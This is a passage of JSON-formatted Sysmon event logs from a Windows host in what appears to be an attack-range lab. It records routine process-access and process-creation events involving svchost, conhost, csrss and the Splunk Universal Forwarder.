C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5994,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:38.932\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-41B2-5F2D-0000-00109FEB0800}\r\nTargetProcessId: 2612\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:38.932","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-41B2-5F2D-0000-00109FEB0800}","TargetProcessId":"2612","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5995,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:39.057\r\nSourceProcessGUID: {90617006-41B2-5F2D-0000-00109FEB0800}\r\nSourceProcessId: 2612\r\nSourceThreadId: 2816\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:39.057","SourceProcessGUID":"{90617006-41B2-5F2D-0000-00109FEB0800}","SourceProcessId":"2612","SourceThreadId":"2816","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+55e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+6b453|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe+8e8530|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5996,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:39.714\r\nProcessGuid: {90617006-41B3-5F2D-0000-001080ED0800}\r\nProcessId: 3768\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:57:39.714","ProcessGuid":"{90617006-41B3-5F2D-0000-001080ED0800}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5997,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:39.714\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-41B3-5F2D-0000-001080ED0800}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:39.714","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-41B3-5F2D-0000-001080ED0800}","TargetProcessId":"3768","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5998,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:39.714\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-41B3-5F2D-0000-001080ED0800}\r\nTargetProcessId: 3768\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:39.714","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-41B3-5F2D-0000-001080ED0800}","TargetProcessId":"3768","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5999,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:39.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:39.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6000,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:39.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:39.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6001,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:39.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:39.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6002,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:39.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 